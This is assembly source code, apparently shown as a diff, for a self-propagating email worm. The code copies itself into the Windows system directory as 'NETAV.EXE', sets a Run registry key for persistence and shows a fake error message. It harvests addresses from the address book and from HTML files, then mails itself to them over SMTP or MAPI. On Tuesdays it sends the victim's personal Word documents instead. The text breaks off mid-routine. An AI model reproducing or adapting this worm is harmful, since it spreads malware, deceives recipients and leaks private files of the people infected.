(+Security)++MimeHeaderSize equ 1024 ; Mime Header size++;-----------------------------------------------------------------------------+;--------------------------- Code Zone ---------------------------------------+;-----------------------------------------------------------------------------++.code++Mv:+ pushad++ IF SEH+ @INIT_SehFrame <jmp ExitMv> ; Init SEH+ ENDIF++;------------------------- Check & Mark Presency -----------------------------++TryToOpenOurMutex:+ xor eax, eax+ @pushsz 'MvMutex' ; Mutex Name+ push eax+ push eax+ api OpenMutexA ; already in mem+ or eax,eax+ jnz ExitMv ; Yes, do nothing more++CreateOurMutex:+ xor eax, eax+ @pushsz 'MvMutex' ; Mutex Name+ push eax ; No owner+ push eax ; default security attrib+ api CreateMutexA ; create Our Mutex+ mov dword ptr[MutexHdl], eax++;---------------------------- Random Init ------------------------------------++RandomInit:+ api GetTickCount+ mov RandomNb, eax++;---------------------- Hide Process on Win9x --------------------------------++HideProcess:+ @pushsz "KERNEL32.dll"+ api GetModuleHandleA+ @pushsz "RegisterServiceProcess" ; Error on NT+ push eax+ api GetProcAddress+ test eax, eax+ jz GetOurPathName+ push 01h+ push 00h+ call eax++;----------------------- Copy Worm in Sys Dir --------------------------------++GetOurPathName:+ xor eax, eax+ push eax+ api GetModuleHandleA ; Our Handle+ push 260+ push offset MyPath+ push eax+ api GetModuleFileNameA ; Our Path++CreateDestPath:+ push 260+ push offset TempPath&Name+ api GetSystemDirectoryA ; System Dir++ @pushsz '\NETAV.EXE'+ push offset TempPath&Name+ api lstrcat ; Path+Name of File to Create++CheckHowExecuted:+ push offset MyPath+ push offset TempPath&Name+ api lstrcmp+ test eax, eax+ jz AutoRun++CreateOurFile:+ xor eax, eax+ push eax ; Overwrite mode set+ push offset TempPath&Name+ push offset MyPath+ api CopyFileA ; Copy Worm in Sys Dir+++;------------------------- Registry Worm -------------------------------------++RegWorm:+ push offset TempPath&Name+ api lstrlen+ push eax+ push offset TempPath&Name+ push 1+ @pushsz "NETAV Agent"+ @pushsz "Software\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ api SHSetValueA++;-------------------- First Launch Fake Message ------------------------------++FakeMessage:+ push 1040+ @pushsz 'Setup'+ @pushsz 'This file does not work on this system'+ push 0+ api MessageBoxA++;---------------------- Check Email File & Create ----------------------------+AutoRun:++CheckEmailFile:+ call Clear_TempPath&Name++ push 260+ push offset TempPath&Name+ api GetSystemDirectoryA ; System Dir++ push offset TempPath&Name+ api SetCurrentDirectoryA ; Set sys dir++ push offset search ; Push it+ @pushsz 'ICMAIL.DLL' ; Mask+ api FindFirstFileA ; find file+ inc eax+ jnz UpDateEmailList ; The File Exist++ call CreateEmailFile ; Create It if Does not exist++;----------------------- Check if Update Time --------------------------------++UpDateEmailList:+ lea esi,SystemTimeData+ push esi+ api GetSystemTime++ movzx edx, word ptr[esi+4] ; Esi point day of week+ cmp edx, 4 ; Jeudi ?+ jne Check_if_Connected ; No++ call CreateEmailFile ; Yes, Update Email File++;-------------------------- Spread the Worm ----------------------------------++Check_if_Connected:+ push offset SystemTimeData+ api GetSystemTime++ push 0+ push offset IConnectedStateTemp+ api InternetGetConnectedState+ dec eax+ jnz No_internet ; No connection++ call SendEmail ; Send Wab Emails + Rnd Email+ jmp ExitMvMutex ; Then Bye++No_internet:+ push 5*60*1000 ; 5 min+ api Sleep+ jmp Check_if_Connected++;----------------------------- The End ---------------------------------------++ExitMvMutex:+ push dword ptr[MutexHdl]+ api CloseHandle++ExitMv:+ call FreeTheMem++ IF SEH+ @REM_SehFrame ; Restore SEH+ ENDIF++ popad++ push 0+ api ExitProcess ; Quit+++ db '---iworm.mv4&vr.by.tony/mvcrew---',0dh,0dh+++;-----------------------------------------------------------------------------+;-----------------------------------------------------------------------------+;------------------------- Sub Routine Zone ----------------------------------+;-----------------------------------------------------------------------------+;-----------------------------------------------------------------------------+++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+;........................ Major Sub Routine ..................................+;............................ Z O N E ........................................+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+++;...................... Create The Email File ................................+;.............................................................................++; OUT : Email File in System Dir : ICMAIL.DLL++CreateEmailFile:+ mov dword ptr[NbEmailFound], 0++ReserveMem_For_EmailListe:+ xor eax,eax+ push PAGE_READWRITE ; read/write page+ push MEM_RESERVE or MEM_COMMIT+ push EmailFileSize+ push eax ; System decide where+ api VirtualAlloc+ or eax,eax+ jz EmailFileError ; Alloc Fail+ mov dword ptr[EmailList], eax++EmailSeeker:+ call SearchWabFile_Email ; Search Email address book+ call SearchHtmFile_Email ; Search Email HTML++CreateTheEmailFile:+ call Clear_TempPath&Name++ push 260+ push offset TempPath&Name+ api GetSystemDirectoryA ; System Dir+ @pushsz '\ICMAIL.DLL'+ push offset TempPath&Name+ api lstrcat ; Path+Name of File to Create+ xor eax,eax+ push eax+ push eax+ push CREATE_ALWAYS+ push eax+ push FILE_SHARE_READ+ push GENERIC_WRITE+ push offset TempPath&Name+ api CreateFileA+ inc eax+ jz EmailFileError+ dec eax+ mov [TempFileHandle], eax++ push 0+ push offset ByteWritten+ push EmailFileSize ; Copy Listes d'Emails+ push dword ptr [EmailList]+ push [TempFileHandle]+ api WriteFile++ push dword ptr [TempFileHandle]+ api CloseHandle++EmailFileError:+ ret+++;........................ Find Email in HTML .................................+;.............................................................................++; Recursive Search from Internet Path for Email in Html++SearchHtmFile_Email:+ call Clear_TempPath&Name++ push 00h+ push 20h ; Internet Path+ push offset TempPath&Name+ push 00h+ api SHGetSpecialFolderPathA++ push offset TempPath&Name+ api SetCurrentDirectoryA ; Selected dir = Internet Path++ lea eax, SeekHtmlCurrentDir+ mov dword ptr[RoutineToCall], eax+ call AllSubDirSearch ; Action = SeekHtmlCurrentDir+ ret++;.............. Seek Html in Current Dir++; IN: Selected Current dir+; OUT: Emails in reserved Mem++SeekHtmlCurrentDir:+ cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !+ je HtmlEmailSearchEnd ; YES...++ lea edi, search+ push edi+ @pushsz '*.*htm*'+ api FindFirstFileA+ inc eax+ jne SeekEmail_Html+ ret++SeekEmail_Html:+ dec eax+ xchg eax,esi++SeekEmail_Html_Loop:++ call SeekEmail_In_ThisHtml ; Parse Html 4 emails++ cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !+ je HtmlEmailSearchFin ; YES...++ push edi+ push esi+ api FindNextFileA+ dec eax+ je SeekEmail_Html_Loop++HtmlEmailSearchFin:+ push esi+ api FindClose+HtmlEmailSearchEnd:+ ret++;.............. Parse Html for emails++SeekEmail_In_ThisHtml:+ pushad+ push 0+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push 0+ push FILE_SHARE_READ+ push GENERIC_READ+ lea eax, [search.FileName]+ push eax+ api CreateFileA+ inc eax+ je HtmlEmailSearchEnd ; Only ret for the call+ dec eax ; Not the total end+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push PAGE_READONLY+ push eax+ push ebx+ api CreateFileMappingA+ test eax,eax+ je CloseHtmlHandle+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push FILE_MAP_READ+ push ebp+ api MapViewOfFile+ test eax,eax+ je CloseHtml_MapHandle+ xchg eax,esi+ mov [maphandlemail],esi+ mov [esi_save],esi++ push 0+ push ebx+ api GetFileSize+ xchg eax,ecx+ jecxz CloseHtml_MapViewHandle+ inc ecx+ jz CloseHtml_MapViewHandle ; GetFileSize Error ?+ dec ecx+FixBugOverflow:+ sub ecx, 8+ cmp ecx, 0+ jl CloseHtml_MapViewHandle++SeekMailToStr:+ mov esi,[esi_save]+ call MTStr+ db 'mailto:'+MTStr:+ pop edi++ScanFor_MailTo:+ pushad+ push 7+ pop ecx+ rep cmpsb ; search for "mailto:"+ popad ; string+ je MailToFound_CheckEmail ; check the mail address+ inc esi+ dec ecx+ jnz ScanFor_MailTo++CloseHtml_MapViewHandle:+ push [maphandlemail]+ api UnmapViewOfFile+CloseHtml_MapHandle:+ push ebp+ api CloseHandle+CloseHtmlHandle:+ push ebx+ api CloseHandle+ popad+ ret++MailToFound_CheckEmail:+ inc esi+ mov [esi_save],esi+ dec esi++ mov edi, dword ptr [EmailList]+ mov edx, dword ptr [NbEmailFound]+ rol edx, 6 ; 64 = email size stockage+ add edi, edx ; goto next place++ mov [EmailCurrentPos], edi++ xor edx,edx+ add esi,7+ push edi ; mail address++NextChar:+ lodsb+ cmp al, ' '+ je SkipChar++ cmp al, '"' ; eMail End ?+ je EndChar+ cmp al, '?' ; eMail End ?+ je EndChar+ cmp al, '>' ; eMail End ?+ je EndChar+ cmp al, '<' ; eMail End ?+ je EndChar+ cmp al, ']' ; eMail End ?+ je EndChar+ cmp al, '''' ; eMail End ?+ je EndChar++ cmp al, '@' ; Valid email ?+ jne CopyChar+ inc edx+CopyChar:+ stosb+ jmp NextChar+SkipChar:+ inc esi+ jmp NextChar+EndChar:+ xor al,al+ stosb+ pop edi+ test edx,edx ; if EDX=0, mail is not+ je SeekMailToStr ; valid (no '@')++ cmp dword ptr [NbEmailFound], 0+ je NoEmailYet++ mov edi, [EmailCurrentPos]+ mov eax, [edi]+ sub edi, 64+ cmp eax, [edi]+ je SeekMailToStr++NoEmailYet:+ inc dword ptr [NbEmailFound]+ cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !+ je CloseHtml_MapViewHandle ; YES...++ jmp SeekMailToStr ; get next email address+++;........................ Find Email in WAB ..................................+;.............................................................................++SearchWabFile_Email:+ call Clear_TempPath&Name++GetWabPath:+ mov dword ptr[KeySize], 260 ; Init Size to get++ push offset KeySize+ push offset TempPath&Name+ push offset Reg+ push 0+ @pushsz "Software\Microsoft\Wab\WAB4\Wab File Name"+ push 80000001h+ api SHGetValueA+ test eax, eax+ jne EndWab++Open&Map_WabFile:+ call Open&MapFile+ jc EndWab++WabSearchEmail:+ mov ecx, [eax+64h] ; Nb of address+ jecxz WabUnmapView ; No address+ mov dword ptr[NbEmailFound], ecx ; For the Html search+ mov [NbWabEmail],ecx ; For the emailfile+TruncFriend:+ cmp ecx, NbEmailWanted ; Too many Friend+ jbe NotManyFriend+ mov ecx, NbEmailWanted ; To many @, reduce it+ dec ecx ; for Html search (inc [NbEmailFound]!)+ mov dword ptr[NbEmailFound], ecx ; For the Html search+ mov [NbWabEmail],ecx ; For the emailfile+NotManyFriend:+ mov esi, [eax+60h] ; email @ array+ add esi, eax ; normalise+ mov edi, dword ptr[EmailList] ; where store email++GetWabEmailLoop:+ call StockWabEmail+ dec ecx+ jnz GetWabEmailLoop++WabUnmapView:+ call Open&MapFileUnmapView++EndWab:+ ret++StockWabEmail:+ push ecx esi+ push 40h+ pop ecx+ cmp byte ptr [esi+1],0+ jne StockWabEmailLoop++StockWabEmailUnicodeLoop:+ lodsw ; Unicode+ stosb ; Ansi+ dec ecx+ test al, al+ jne StockWabEmailUnicodeLoop+ add edi, ecx ; next email field in Dest+ pop esi ecx+ add esi, 44h ; next email field in Wab+ ret++StockWabEmailLoop:+ movsb ; Ansi+ dec ecx+ test al, al+ jne StockWabEmailLoop+ add edi, ecx ; next email field in Dest+ pop esi ecx+ add esi, 24h ; next email field in Wab+ ret++;..................... Send Email SMTP or MAPI ...............................+;.............................................................................++; OUT: Send via SMTP or MAPI #NbToSend Ramdom EmailAddress from EmailFile+++SendEmail:+ call MapEmailFile ; Map The Email File+ jnc HowToSend+ ret++HowToSend:+ mov byte ptr[SmtpFlag], 0 ; init flag to 0+ call GetUserSmtpServer ; Default Smtp Serveur Found ?+ jc MapiSendVersion ; No+ not byte ptr[SmtpFlag] ; flag = 1++MapiSendVersion:+ not byte ptr[SmtpFlag] ; flag=0 if SMTP, flag=1 -> MAPI++MapEmailFileOk:+ lea esi, SystemTimeData+ movzx ecx, word ptr[esi+4] ; Esi point day of week+ cmp ecx, 2 ; Mardi+ jne _NormalSend+ mov byte ptr[PayloadFlag], 1+ call PersonalDocSearch ; Personal doc path in mem++_NormalSend:+ call NormalSendInit ; init attachement 4 Normal Send++ mov ebx, NbToSend ; Send NbToSend emails per session+SendRandomEmailLoop:+ call SelectEmail ; return email ads in esi+ jecxz SendBye ; EmailFile empty or NonExploitable++ lea edi, CurrentEmail ; <-----------------+ mov ecx, EmailSize ; |+ rep movsb ; Copy rnd Email in |++ xor al, al+ sub esi, EmailSize+ xchg edi, esi+ mov ecx, EmailSize+ rep stosb ; Remove email sent in EmailFile++PaySendTime:+ cmp byte ptr[PayloadFlag], 0+ je NormalSend+ call PayloadSendInit ; Personals doc name in MyPath++NormalSend:+ call BuildMessageHeader ; build the mime header++ cmp byte ptr[SmtpFlag], 0+ jne MapiSendIt ; flag=1 -> MAPI++ call SmtpConnection+ jc MapiSendIt ; smtp error -> mapi send+ call SmtpSendCommand+ jc MapiSendIt ; smtp error -> mapi send+ call SmtpDisConnection+ jmp SendNext ; If here No Mapi Needed++MapiSendIt:+ call MapiSend++SendNext:+ cmp byte ptr[PayloadFlag], 0+ je NormalSendNext+ call ReleasePayMem+NormalSendNext:+ call ClearHeaderMem+ dec ebx+ jnz SendRandomEmailLoop ; Send #NbToSend emails++SendBye:+ jmp Open&MapFileUnmapView ; Clean De-map EmailFile+++;.............. Select Email to Send++; OUT: esi point on the email+; ecx = 0 if error+; select first the email from the *.WAB++SelectEmail:+ mov ecx, NbEmailWanted+ inc ecx+SelectIT:+ dec ecx+ jz SelectEmailError++ mov esi, dword ptr [mapaddress] ; emails from file in memory++ mov edi, NbEmailWanted ; Rnd Range+ call GetRndNumber ; Rnd Nb in edx++ cmp dword ptr[NbWabEmail], 0+ je TriEMails++ dec dword ptr[NbWabEmail]+ mov edx, dword ptr[NbWabEmail]++TriEMails:+ rol edx, 6 ; edx*emailsize (64)+ add esi, edx ; esi on the email++ mov eax, dword ptr [esi]+ test eax, eax ; No empty email+ je SelectIT+ mov eax, dword ptr [esi]+ or eax, 20202020h ; Lower case+ cmp eax, 'mbew' ; No webmaster@xxxxxxxx+ je SelectIT+ mov eax, dword ptr [esi]+ or eax, 20202020h ; Lower case+ cmp eax, 'ptth' ; No http:\\xxxxxxxxxxx+ je SelectIT+SelectEmailError:+ ret++;.............. Normal Init The Attachement File++; Routine appel�e tout le temps (Payload ou pas) -> Init du mess: header + body++NormalSendInit:++InitWhoSendName:+ call ResMemHeader ; Some Mem for the mime header++ mov dword ptr[KeySize], 00000040h ; Init Size to get++ push offset KeySize+ push offset mailfrom+ push offset Reg+ @pushsz "SMTP Email Address" ; User mail (for mail from:)+ lea eax, AccountKey+ push eax+ push 80000001h+ api SHGetValueA+ test eax, eax+ je InitWormName+ mov byte ptr[UserEmailFoundFlag], 1++InitWormName:+ xor al,al+ mov ecx,260+ lea edi, MyPath+ rep stosb++ push 260+ push offset MyPath+ api GetSystemDirectoryA ; System Dir++ @pushsz '\NETAV.EXE'+ push offset MyPath+ api lstrcat ; Path+Name 4 Mapi Send&Smtp CodeB64File++SmtpNormalSendInit:+ call CodeB64File ; return worm file encoded in mem++ ret++;.............. Build Message Header++BuildMessageHeader:+ push ebx ; for the loop++ cmp byte ptr[UserEmailFoundFlag], 0+ je BuildHeader++CreateNameFrom:+ xor al, al+ lea edi, mailfrom+ mov ecx, EmailSize+ rep stosb++ push NbFromName ; nb name+ pop edi+ call GetRndNumber ; edx = rnd nb++ lea edi, RndFromNameTb+ rol edx, 2 ; table de dd+ add edi, edx ; Point the right Name offset+ mov edi, [edi]++ push edi ; User mail not found -> fix another name+ push offset mailfrom+ api lstrcat++CreateServFrom:+ push NbFromServ ; nb serv+ pop edi+ call GetRndNumber ; edx = rnd nb++ lea edi, RndFromServTb+ rol edx, 2 ; table de dd+ add edi, edx ; Point the right Serv offset+ mov edi, [edi]++ push edi ; User mail not found -> fix another name+ push offset mailfrom+ api lstrcat++BuildHeader:+ mov esi, dword ptr[MemMessageBody1] ; some mem++BuildFrom:+ @pushsz 'From: ' ; From:+ push esi+ api lstrcat++ push offset mailfrom ; user mail or another fixed+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat++BuildTo:+ @pushsz 'To: ' ; To:+ push esi+ api lstrcat++ push offset CurrentEmail ; Email found in *.wab or Html+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat++BuildSubject:+ @pushsz 'Subject: ' ; Subject:+ push esi+ api lstrcat++ push NbSubject ; nb Subject+ pop edi+ call GetRndNumber ; edx = rnd nb++ lea edi, RndSubjectTb+ rol edx, 2 ; table de dd+ add edi, edx ; Point the right Subject offset+ mov edi, [edi]++ push edi ; Rnd Subject+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat++BuildBody:+ push offset MessageBody1 ; Mime bordel jusqu'a -> email message+ push esi+ api lstrcat++BuiltEmailMessage:+ push NbRndText ; nb Text+ pop edi+ call GetRndNumber ; edx = rnd nb++ lea edi, RndTextTb+ rol edx, 2 ; table de dd+ add edi, edx ; Point the right Text offset+ mov edi, [edi]++ push edi ; Rnd Text+ push esi+ api lstrcat++BuildBody1b:+ push offset MessageBody1b ; email message -> name=+ push esi+ api lstrcat++ cmp byte ptr[PayloadFlag],0+ jne BuildFileNamePay++BuildFileNameNormal:+ push NbRndFileName ; nb FileName+ pop edi+ call GetRndNumber ; edx = rnd nb++ lea edi, RndFileNameTb+ rol edx, 2 ; table de dd+ add edi, edx ; Point the right Text offset+ mov edi, [edi]++ push edi ; Rnd File in name=+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat++ push offset MessageBody1c ; .EXE",CRLF -> filename=+ push esi+ api lstrcat++ push edi ; Rnd File in filename=+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat+ @pushsz CRLF+ push esi+ api lstrcat++ jmp BuildSizeBody1++BuildFileNamePay:+ call Clear_TempPath&Name++ push 260+ push offset TempPath&Name+ push offset MyPath+ api GetFileTitleA++ @pushsz '"'+ push esi+ api lstrcat++ push offset TempPath&Name+ push esi+ api lstrcat++ @pushsz '"'+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat++ push offset MessageBody1c ; .EXE",CRLF -> filename=+ push esi+ api lstrcat++ @pushsz '"'+ push esi+ api lstrcat++ push offset TempPath&Name+ push esi+ api lstrcat++ @pushsz '"'+ push esi+ api lstrcat++ @pushsz CRLF+ push esi+ api lstrcat+ @pushsz CRLF+ push esi+ api lstrcat++BuildSizeBody1:+ push esi+ api lstrlen++ mov dword ptr[MessageSize1], eax ; Header+Mime bordel lenght for send cmd++BuildMessageHeaderError:+ pop ebx ; for the loop+ ret++;.............. Payload Init The Attachement File++PayloadSendInit:+ push ebx ; For The send Loop++ mov edi, dword ptr[NbPersonalFound] ; Rnd Range+ call GetRndNumber ; Rnd Nb in edx++PayMapiSendInit:+ xor al,al+ mov ecx,260+ lea edi, MyPath+ rep stosb++ mov esi, dword ptr [PersoDocListe]+ rol edx, 8+ add esi, edx ; esi = perso doc path+ lea edi, MyPath+ mov ecx, 256 ; Perso path size+ rep movsb++PaySmtpSendInit:+ call CodeB64File ; return perso file encoded in mem++ pop ebx ; For The send Loop+ ret++;.............. Some Mem For The Mime Header++ReleasePayMem:+ push ebx++ mov ecx, dword ptr [MemEncoded]+ call MemFreeIt+ mov ecx, dword ptr [MemToEncode]+ call MemFreeIt++ pop ebx+ ret++ClearHeaderMem:+ xor al,al+ mov ecx, MimeHeaderSize+ mov edi, dword ptr[MemMessageBody1]+ rep stosb+ ret++;.............. Some Mem For The Mime Header++ResMemHeader:+ xor eax,eax+ push PAGE_READWRITE ; read/write page+ push MEM_RESERVE or MEM_COMMIT+ push MimeHeaderSize+ push eax ; System decide where+ api VirtualAlloc+ mov dword ptr[MemMessageBody1], eax+ ret++;.............. Map The Email File++;OUT: eax = mapaddress+; cf = 0 if no error++MapEmailFile:+ call Clear_TempPath&Name++ push 260+ push offset TempPath&Name+ api GetSystemDirectoryA+ @pushsz '\ICMAIL.DLL'+ push offset TempPath&Name+ api lstrcat ; Path+Name++ call Open&MapFile+ ret+++;.......................... Send Via MAPI ....................................+;.............................................................................+++MapiSend:+ push ebx ; For The send Loop++ xor eax, eax+ push eax+ push eax+ push offset MapiMessage+ push eax+ push dword ptr [MAPISession]+ api MAPISendMail++ pop ebx ; For The send Loop+ ret+++;........................... Send via SMTP ...................................+;.............................................................................++; 4 Part:+; - GetLocalSmtpServeur: Find default SMTP server+; - SmtpConnection: Init Socket + Connect to Smpt host+; - SmtpSendCommand: Send all the commands+; - SmtpDisConnection: Clean + Disconnect+++;.............. Get User Server++GetUserSmtpServer:++GetUserInternetAccount:+ mov dword ptr[KeySize], 00000040h ; Init Size to get++ push offset KeySize+ push offset AccountSubKey+ push offset Reg+ @pushsz "Default Mail Account"+ @pushsz "Software\Microsoft\Internet Account Manager"+ push 80000001h+ api SHGetValueA+ test eax, eax+ jne GetUserSmtpServerError++GetUserInternetServer:+ mov dword ptr[KeySize], 00000040h ; Init Size to get++ push offset KeySize+ push offset SmtpServeur+ push offset Reg+ @pushsz "SMTP Server"+ lea eax, AccountKey+ push eax+ push 80000001h+ api SHGetValueA+ test eax, eax+ jne GetUserSmtpServerError+ clc+ ret+GetUserSmtpServerError:+ stc+ ret++;.............. Smtp Connection++SmtpConnection:+ pushad+ push offset WSAData ; Struct WSA+ push 101h ; VERSION1_1+ api WSAStartup ; Socket Init+ test eax,eax ; ok ?+ jne WSA_Error ; No, exit with stc++ push 0 ; Protocol = 0 (more sure)+ push 1 ; SOCK_STREAM+ push 2 ; AF_INET (most used)+ api socket ; create socket+ inc eax ; -1 = error+ je Socket_Error ; WSACleanUp and stc+ dec eax+ mov [hSocket],eax ; Socket Handle++ push 25 ; Smtp port+ api htons ; Convert it+ mov word ptr[wsocket+2], ax ; The port ( 2 ptr[wsocket]=AF_INET )++ push offset SmtpServeur ; The SMPT Host+ api gethostbyname ; SMPT to IP+ test eax,eax ; error ?+ je Error_CloseSocket&CleanUp ; Exit + stc+ mov eax,[eax+10h] ; get ptr 2 IP into HOSTENT+ mov eax,[eax] ; get ptr 2 IP+ mov [ServeurIP],eax ; Save it++ push 010h ; size of sockaddr struct+ push offset wsocket ; Ptr on it+ push [hSocket] ; Handle+ api connect ; connect to smtp server+ inc eax+ je Error_CloseSocket&CleanUp ; Exit + stc+ call GetServeurReply ; get server response+ jc Error_CloseSocket&CleanUp ; If c=0 Connection OK !+ popad+ clc+ ret++GetServeurReply:+ push 0 ; Flags+ push 4 ; Get a LongWord+ push offset ServeurReply ; in ServeurReply+ push [hSocket]+ api recv ; get stmp server error code+ cmp eax, 4 ; Receive a LongWord+ jne ReplyError ; No, stc++ServeurReplyLoop:+ mov ebx, offset ServeurReplyEnd ; Get a byte In+ push 0 ; Flags+ push 1 ; a byte+ push ebx+ push [hSocket]+ api recv+ jne ReplyError++ cmp byte ptr [ebx], 0Ah+ jne ServeurReplyLoop ; skip over CRLF++ mov eax, [ServeurReply]+ cmp eax, ' 022'+ je ReplyOk+ cmp eax, ' 052'+ je ReplyOk+ cmp eax, ' 152'+ je ReplyOk+ cmp eax, ' 453'+ jne ReplyError+ReplyOk:+ clc+ ret+ReplyError:+ stc+ ret++;.............. Smtp DisConnection++SmtpDisConnection:+ pushad+Error_CloseSocket&CleanUp:+ push dword ptr [hSocket]+ api closesocket+Socket_Error:+ api WSACleanup+WSA_Error:+ popad+ stc+ ret++;.............. Smtp Send++SmtpSendCommand:+ pushad++SendHelloCmd:+ mov esi,offset cmd_helo ; 'HELO xxx',CRLF+ push 14 ; cmd size+ pop ecx ; cmd size+ call SendSocket ; send HELO command+ call GetServeurReply ; Ok ?+ jc Error_CloseSocket&CleanUp ; No++SendMailFromCmd:+ mov esi,offset cmd_mailfrom ; 'MAIL FROM:<'+ push 11 ; cmd size+ pop ecx ; size+ call SendSocket ; send MAIL FROM command++ mov esi,offset mailfrom ; ptr default user email+ push esi+ api lstrlen+ xchg ecx, eax+ call SendSocket ; 2� Write [email protected]++ call Brk1+ db '>',CRLF+Brk1: pop esi+ push 3+ pop ecx+ call SendSocket ; 3� Write '>',CRLF++ call GetServeurReply ; Ok+ jc Error_CloseSocket&CleanUp ; No++SendRcptToCmd:+ mov esi,offset cmd_rcptto ; 'RCPT TO:<'+ push 9 ; cmd size+ pop ecx ; cmd size+ call SendSocket ; 1� Write 'RCPT TO:<'++ mov esi,offset CurrentEmail ; ptr email+ push esi+ api lstrlen+ xchg ecx, eax+ call SendSocket ; 2� Write [email protected]++ call Brk2+ db '>',CRLF+Brk2: pop esi+ push 3+ pop ecx+ call SendSocket ; 3� Write '>',CRLF++ call GetServeurReply ; Ok+ jc Error_CloseSocket&CleanUp ; No++SendDataCmd:+ mov esi,offset cmd_data ; 'DATA',CRLF+ push 6 ; Size+ pop ecx ; Size+ call SendSocket ; send DATA command+ call GetServeurReply ; Ok+ jc Error_CloseSocket&CleanUp ; No++SendeMailBody:+ mov esi, dword ptr[MemMessageBody1] ; Start Message Body+ mov ecx, dword ptr[MessageSize1]+ call SendSocket++ mov esi,dword ptr [MemEncoded] ; Encoded File+ mov ecx,dword ptr [EncodedFileSize]+ call SendSocket++ mov esi, offset MessageBody2 ; End Message Body+ mov ecx, MessageSize2+ call SendSocket++SendTermCmd:+ mov esi,offset cmd_term ; CRLF,'.',CRLF+ push 5 ; size+ pop ecx ; size+ call SendSocket ; send message header+body+ call GetServeurReply ; Ok ?+ jc Error_CloseSocket&CleanUp ; No++SendQuitCmd:+ mov esi,offset cmd_quit ; 'QUIT',CRLF+ push 6 ; size+ pop ecx ; size+ call SendSocket ; send QUIT command+ popad+ clc+ ret++SendSocket:+ push 0 ; Flags+ push ecx ; size+ push esi ; Source+ push [hSocket] ; Handle+ api send+ ret+++;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+;........................ Minor Sub Routine ..................................+;............................ Z O N E ........................................+;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+++;........................ Open & Map a File ..................................+;.............................................................................+++; IN: TempPath&Name = Path + Name of file to Open+; OUT: fhandle, maphandle, mapaddress+; cf = 0 ou 1++Open&MapFile:+ xor eax,eax+ push eax+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push eax+ push FILE_SHARE_READ+ push GENERIC_READ or GENERIC_WRITE+ push Offset TempPath&Name+ api CreateFileA+ inc eax+ je Open&MapFileError+ dec eax+ mov dword ptr [fhandle], eax++ xor eax,eax+ push eax+ push eax+ push eax+ push PAGE_READWRITE+ push eax+ push dword ptr [fhandle]+ api CreateFileMappingA+ or eax,eax+ jz Open&MapFileCloseFileHandle+ mov dword ptr [maphandle],eax++ xor ebx,ebx+ push ebx+ push ebx+ push ebx+ push FILE_MAP_WRITE+ push eax+ api MapViewOfFile+ or eax,eax+ jz Open&MapFileCloseMapHandle+ mov dword ptr [mapaddress], eax+ clc+ ret++Open&MapFileUnmapView:+ push dword ptr [mapaddress]+ api UnmapViewOfFile++Open&MapFileCloseMapHandle:+ push dword ptr [maphandle]+ api CloseHandle++Open&MapFileCloseFileHandle:+ push dword ptr [fhandle]+ api CloseHandle+Open&MapFileError:+ stc+ ret++;...................... Search Personal Documents ............................+;.............................................................................++; OUT - Personal Doc Path in Mem in $ [PersoDocListe]++PersonalDocSearch:+ xor eax,eax+ push PAGE_READWRITE ; read/write page+ push MEM_RESERVE or MEM_COMMIT+ push PersoFileSize+ push eax ; System decide where+ api VirtualAlloc+ test eax, eax+ je PersonalDocSearchError+ mov dword ptr[PersoDocListe], eax++ call Clear_TempPath&Name++ push 00h+ push 05h ; Personal Path+ push offset TempPath&Name+ push 00h+ api SHGetSpecialFolderPathA++ push offset TempPath&Name+ api SetCurrentDirectoryA ; Selected dir = Personal Path++ lea eax, FindPersonalFile+ mov dword ptr[RoutineToCall], eax+ call AllSubDirSearch ; Action = FindPersonalFile+PersonalDocSearchError:+ ret++;.............. Search Personal File++FindPersonalFile:+ cmp dword ptr[NbPersonalFound], NbPersoWanted ; Enought Perso File+ je NoMorePersonalFile++ push offset search+ @pushsz "*.doc"+ api FindFirstFileA++ mov dword ptr [PersonalSearchHandle], eax+ inc eax+ jz NoMorePersonalFile++PersonalDocumentFound:+ mov edi, dword ptr[PersoDocListe]+ mov edx, dword ptr[NbPersonalFound]+ rol edx, 8+ add edi, edx ; Right Pos++ push edi+ push 260+ api GetCurrentDirectoryA ; The dir++ @pushsz '\'+ push edi+ api lstrcat ; The \++ push offset [search.FileName]+ push edi+ api lstrcat ; The Name++ inc dword ptr[NbPersonalFound] ; Next One+ cmp dword ptr[NbPersonalFound], NbPersoWanted ; Enought Perso File+ je EnoughtPerso++FindPersonalFileNext:+ push offset search+ push dword ptr [PersonalSearchHandle]+ api FindNextFileA++ test eax, eax+ jnz PersonalDocumentFound++EnoughtPerso:+ push dword ptr [PersonalSearchHandle]+ api FindClose++NoMorePersonalFile:+ ret++;.............. Search in all Sub Dir + Action in ............................++; IN: - Root dir Selected for the Search begin+; - RoutineToCall = SeekHtmlCurrentDir+; OUT: - What perform RoutineToCall in all subdir of selected Root+++AllSubDirSearch:+ xor ebx,ebx++FindFirstDir:+ lea edi, search+ push edi+ @pushsz "*.*"+ api FindFirstFileA++ mov dword ptr [RecSearchHandle],eax++ inc eax+ jz FirstDirNotFound++DirTravel:+ bt word ptr[search.FileAttributes],4+ jnc FindNextDir++ lea eax,[search.FileName]++ cmp byte ptr [eax],"."+ jz FindNextDir++ push eax+ api SetCurrentDirectoryA++InNewDir_Action:+ pushad+ call dword ptr[RoutineToCall] ; THE Action+ popad++ push dword ptr [RecSearchHandle]+ inc ebx+ jmp FindFirstDir+FindNextDir:+ push edi+ push dword ptr [RecSearchHandle]+ api 